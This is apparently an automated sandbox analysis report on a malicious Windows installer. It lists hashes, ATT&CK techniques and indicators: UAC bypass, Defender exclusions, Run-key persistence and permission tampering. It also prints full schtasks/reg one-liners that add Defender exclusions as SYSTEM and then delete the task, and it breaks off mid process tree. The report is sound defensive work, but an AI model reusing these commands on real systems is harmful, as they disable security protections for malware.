d0d580e73af5913a8100fb5d79e2c919aafd4e4403ac5309b835b4e1e149c0ba

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/09/2026, 20:53

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General

Target
install_q2.0.18.exe
Size 25.4MB
Sample260903-zpp2qawbme
SHA256 d0d580e73af5913a8100fb5d79e2c919aafd4e4403ac5309b835b4e1e149c0ba
MD5 be08c84858b0880ebb5441fceb5ce680
SHA1 60df39a209c27dfa33c2c77865943cabe4cd46e8
SHA512 7e44daac982f966e94dd97979e3974ce319f55b825cbb4f1e35817fa8bd05065d2272ed0f435beab555c56c45dc640696152a4bd9163bf85ef86070bcb1e6aaf
SSDEEP 49152:YKL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B46k:djAIMaQi7kmeHh2yeH7rkfvVsX+N0
TLSH
T14047E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	pUyz2x.exe

Windows security bypass 2 TTPs 14 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\pUyz2x = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\CHBgYd = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1988	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	pUyz2x.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
2808	icacls.exe
540	icacls.exe
4688	takeown.exe
944	icacls.exe
452	icacls.exe
3824	icacls.exe
6012	icacls.exe
1492	takeown.exe
3780	icacls.exe
1300	icacls.exe
5624	icacls.exe
5860	icacls.exe
4076	icacls.exe
6040	icacls.exe
1680	icacls.exe
1000	icacls.exe
2820	icacls.exe
2472	icacls.exe
5252	icacls.exe
2672	icacls.exe
4568	icacls.exe
4044	icacls.exe
3940	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	pUyz2x.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	zxkffA.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
3292	zxkffA.exe
5744	zxkffA.exe
4128	pUyz2x.exe
2504	HKhn9c.exe
5368	pUyz2x.exe
1972	pUyz2x.exe
5616	pUyz2x.exe
5096	HKhn9c.exe

Loads dropped DLL 6 IoCs

pid	Process
3292	zxkffA.exe
5744	zxkffA.exe
4128	pUyz2x.exe
2504	HKhn9c.exe
5616	pUyz2x.exe
5096	HKhn9c.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
452	icacls.exe
5624	icacls.exe
2672	icacls.exe
5252	icacls.exe
944	icacls.exe
4568	icacls.exe
2820	icacls.exe
1300	icacls.exe
1000	icacls.exe
6040	icacls.exe
1680	icacls.exe
5860	icacls.exe
4044	icacls.exe
540	icacls.exe
3940	icacls.exe
4688	takeown.exe
3824	icacls.exe
1492	takeown.exe
3780	icacls.exe
2808	icacls.exe
6012	icacls.exe
4076	icacls.exe
2472	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\CHBgYd\\zxkffA.exe\""	zxkffA.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\pUyz2x\\pUyz2x.exe\""	pUyz2x.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4180	cmd.exe
5012	cmd.exe
1736	cmd.exe
2740	cmd.exe
5788	cmd.exe
1212	cmd.exe
5772	cmd.exe
1560	cmd.exe
4108	cmd.exe
5592	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	zxkffA.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\pUyz2x\thumbs.db	zxkffA.exe
File opened for modification	C:\Program Files (x86)\pUyz2x\pUyz2x.exe	zxkffA.exe
File created	C:\Program Files (x86)\mmO75\HKhn9c.exe	pUyz2x.exe
File opened for modification	C:\Program Files (x86)\mmO75\HKhn9c.exe	pUyz2x.exe
File created	C:\Program Files (x86)\mmO75\thumbs.db	pUyz2x.exe
File opened for modification	C:\Program Files (x86)\mmO75\thumbs.db	pUyz2x.exe
File opened for modification	C:\Program Files (x86)\pUyz2x	zxkffA.exe
File created	C:\Program Files (x86)\pUyz2x\pUyz2x.exe	zxkffA.exe
File created	C:\Program Files (x86)\pUyz2x\image.png	zxkffA.exe
File opened for modification	C:\Program Files (x86)\pUyz2x\XPSPLOG.dll	zxkffA.exe
File opened for modification	C:\Program Files (x86)\pUyz2x\image.png	zxkffA.exe
File created	C:\Program Files (x86)\mmO75\image.png	pUyz2x.exe
File opened for modification	C:\Program Files (x86)\mmO75\image.png	pUyz2x.exe
File opened for modification	C:\Program Files (x86)\mmO75\XPSPLOG.dll	pUyz2x.exe
File created	C:\Program Files (x86)\pUyz2x\XPSPLOG.dll	zxkffA.exe
File opened for modification	C:\Program Files (x86)\pUyz2x\thumbs.db	zxkffA.exe
File opened for modification	C:\Program Files (x86)\mmO75	pUyz2x.exe
File created	C:\Program Files (x86)\mmO75\XPSPLOG.dll	pUyz2x.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
608	sc.exe
5236	sc.exe
3492	sc.exe
4568	sc.exe
512	sc.exe
6132	sc.exe
1368	sc.exe
4716	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\ScreenSaveActive = "0"	pUyz2x.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	pUyz2x.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\SCRNSAVE.EXE	pUyz2x.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1104	cmd.exe
5664	cmd.exe
1572	cmd.exe
2956	cmd.exe
2516	cmd.exe
1512	cmd.exe
3968	cmd.exe
1084	cmd.exe
3668	cmd.exe
2032	cmd.exe
5484	cmd.exe
5944	cmd.exe
4344	cmd.exe
2508	cmd.exe
3912	cmd.exe
668	cmd.exe
2128	cmd.exe
2156	cmd.exe
1716	cmd.exe
4776	cmd.exe
4588	cmd.exe
2404	cmd.exe
764	cmd.exe
5924	cmd.exe
1516	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pUyz2x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HKhn9c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pUyz2x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\ScreenSaveActive = "0"	pUyz2x.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	pUyz2x.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	pUyz2x.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\SCRNSAVE.EXE	pUyz2x.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	zxkffA.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2836	schtasks.exe
5620	schtasks.exe
1208	schtasks.exe
2312	schtasks.exe
3776	schtasks.exe
1204	schtasks.exe
1548	schtasks.exe
3028	schtasks.exe
5604	schtasks.exe
1372	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
2868	install_q2.0.18.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe
3292	zxkffA.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4688	takeown.exe
Token: SeRestorePrivilege	5860	icacls.exe
Token: SeTakeOwnershipPrivilege	1492	takeown.exe
Token: SeRestorePrivilege	3780	icacls.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe
Token: 33	1988	powershell.exe
Token: 34	1988	powershell.exe
Token: 35	1988	powershell.exe
Token: 36	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe
Token: 33	1988	powershell.exe
Token: 34	1988	powershell.exe
Token: 35	1988	powershell.exe
Token: 36	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3292 wrote to memory of 2740	3292	zxkffA.exe	104
PID 2740 wrote to memory of 2836	2740	cmd.exe	108
PID 2740 wrote to memory of 4200	2740	cmd.exe	109
PID 3292 wrote to memory of 5788	3292	zxkffA.exe	114
PID 2740 wrote to memory of 2164	2740	cmd.exe	116
PID 5788 wrote to memory of 1548	5788	cmd.exe	118
PID 3292 wrote to memory of 4108	3292	zxkffA.exe	119
PID 5788 wrote to memory of 3464	5788	cmd.exe	121
PID 4108 wrote to memory of 3028	4108	cmd.exe	123
PID 5788 wrote to memory of 1316	5788	cmd.exe	124
PID 4108 wrote to memory of 1092	4108	cmd.exe	125
PID 4108 wrote to memory of 5760	4108	cmd.exe	126
PID 3292 wrote to memory of 1212	3292	zxkffA.exe	128
PID 1212 wrote to memory of 5604	1212	cmd.exe	130
PID 3668 wrote to memory of 5764	3668	cmd.exe	131
PID 1104 wrote to memory of 1028	1104	cmd.exe	132
PID 3292 wrote to memory of 5592	3292	zxkffA.exe	133
PID 1212 wrote to memory of 5700	1212	cmd.exe	135
PID 5592 wrote to memory of 5620	5592	cmd.exe	137
PID 1212 wrote to memory of 5864	1212	cmd.exe	138
PID 5592 wrote to memory of 1040	5592	cmd.exe	139
PID 5592 wrote to memory of 2200	5592	cmd.exe	142
PID 5664 wrote to memory of 5252	5664	cmd.exe	144
PID 2032 wrote to memory of 4940	2032	cmd.exe	145
PID 3292 wrote to memory of 4128	3292	zxkffA.exe	146
PID 4128 wrote to memory of 1572	4128	pUyz2x.exe	149
PID 4128 wrote to memory of 4776	4128	pUyz2x.exe	151
PID 4128 wrote to memory of 2508	4128	pUyz2x.exe	153
PID 4128 wrote to memory of 5772	4128	pUyz2x.exe	156
PID 4776 wrote to memory of 4568	4776	cmd.exe	157
PID 4128 wrote to memory of 4588	4128	pUyz2x.exe	159
PID 4128 wrote to memory of 2404	4128	pUyz2x.exe	163
PID 4588 wrote to memory of 5732	4588	cmd.exe	165
PID 5772 wrote to memory of 1372	5772	cmd.exe	166
PID 5732 wrote to memory of 5616	5732	net.exe	167
PID 2404 wrote to memory of 452	2404	cmd.exe	168
PID 4128 wrote to memory of 4180	4128	pUyz2x.exe	170
PID 5772 wrote to memory of 3908	5772	cmd.exe	172
PID 4128 wrote to memory of 3912	4128	pUyz2x.exe	174
PID 4180 wrote to memory of 1208	4180	cmd.exe	176
PID 5772 wrote to memory of 4528	5772	cmd.exe	177
PID 3912 wrote to memory of 4044	3912	cmd.exe	178
PID 4180 wrote to memory of 5024	4180	cmd.exe	179
PID 4128 wrote to memory of 668	4128	pUyz2x.exe	180
PID 4128 wrote to memory of 5012	4128	pUyz2x.exe	181
PID 5012 wrote to memory of 2312	5012	cmd.exe	184
PID 668 wrote to memory of 540	668	cmd.exe	185
PID 4180 wrote to memory of 1528	4180	cmd.exe	186
PID 5012 wrote to memory of 3376	5012	cmd.exe	187
PID 5012 wrote to memory of 2700	5012	cmd.exe	188
PID 4588 wrote to memory of 512	4588	cmd.exe	189
PID 4128 wrote to memory of 764	4128	pUyz2x.exe	190
PID 764 wrote to memory of 5624	764	cmd.exe	192
PID 4588 wrote to memory of 6132	4588	cmd.exe	193
PID 4128 wrote to memory of 5484	4128	pUyz2x.exe	194
PID 4588 wrote to memory of 5604	4588	cmd.exe	196
PID 5604 wrote to memory of 4884	5604	net.exe	197
PID 5484 wrote to memory of 2820	5484	cmd.exe	198
PID 4128 wrote to memory of 1560	4128	pUyz2x.exe	200
PID 4128 wrote to memory of 5924	4128	pUyz2x.exe	202
PID 2956 wrote to memory of 1132	2956	cmd.exe	204
PID 1560 wrote to memory of 3776	1560	cmd.exe	205
PID 5924 wrote to memory of 2672	5924	cmd.exe	206
PID 4128 wrote to memory of 5944	4128	pUyz2x.exe	207

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	pUyz2x.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe
"C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2868

C:\Users\Public\CHBgYd\zxkffA.exe
C:\Users\Public\CHBgYd\zxkffA.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CHBgYd\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CHBgYd\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4200
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\system32\schtasks.exe
